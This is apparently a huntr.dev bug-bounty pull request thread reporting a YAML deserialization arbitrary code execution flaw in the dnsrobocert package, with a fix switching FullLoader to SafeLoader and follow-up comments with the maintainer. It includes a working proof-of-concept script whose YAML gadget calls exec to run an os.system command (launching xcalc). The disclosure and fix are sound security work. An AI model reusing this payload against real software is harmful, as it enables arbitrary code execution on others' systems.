FIX Arbitrary Code Execution in - dnsrobortcert

[b1nslashsh]

📊 Metadata *

DNSroboCert is designed to manage Let's Encrypt SSL certificates based on DNS challenges which is vulnerable to Arbitrary Code Execution.

Bounty URL:

https://www.huntr.dev/bounties/1-pip-dnsrobocert

⚙️ Description *

changeing Fullloader to Safeloader in config.py will fix this issue

💻 Technical Description *

Vulnerable to YAML deserialization attack caused by unsafe loading.

🐛 Proof of Concept (PoC) *

Installation

pip install dnsrobocert
Run exploit.py

import os
#os.system('pip install dnsrobocert')
from dnsrobocert.core import config
exploit = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
config.load('config.yml')

python3 exploit.py
The calc will poo

🔥 Proof of Fix (PoF) *

The Arbitrary code Execution has fixed👍

👍 User Acceptance Testing (UAT)

Yaml load working perfectly after FiX ,👍

🔗 Relates to...

https://www.huntr.dev/bounties/1-pip-dnsrobocert

[huntr-helper]

👋 Hello, @adferrand - @b1nslashsh has opened a PR to us with a fix for a potential vulnerability in your repository. To view the vulnerability, please refer to the bounty URL in the first comment, above.

Ultimately, you get to decide if the fix is 👍 or 👎. If you are happy with the fix, please write a new comment (@huntr-helper - LGTM) and we will open a PR to your repository with the fix. All remaining PRs for this vulnerability will be automatically closed.

If you have any questions or need support, come and join us on our community Discord!

@adferrand & @b1nslashsh - thank you for your efforts in securing the world’s open source code! 🎉

[b1nslashsh]

hey @adferrand any update on this?

regards,
muhaimin

[adferrand]

Sorry I am on holidays for now, I will look at it next week.

[b1nslashsh]

Sorry I am on holidays for now, I will look at it next week.

thats great 👍🏻

[b1nslashsh]

Sorry I am on holidays for now, I will look at it next week.

Hey @adferrand ,
hope you are doing well
Any updates on this sorry for disturbing you

Regrads muhaimin

[Anon-Artist]

Hi @adferrand hope you are doing well
Have you considered this issue,
I saw a new release on your repo and the new release is also vulnerable to the same bug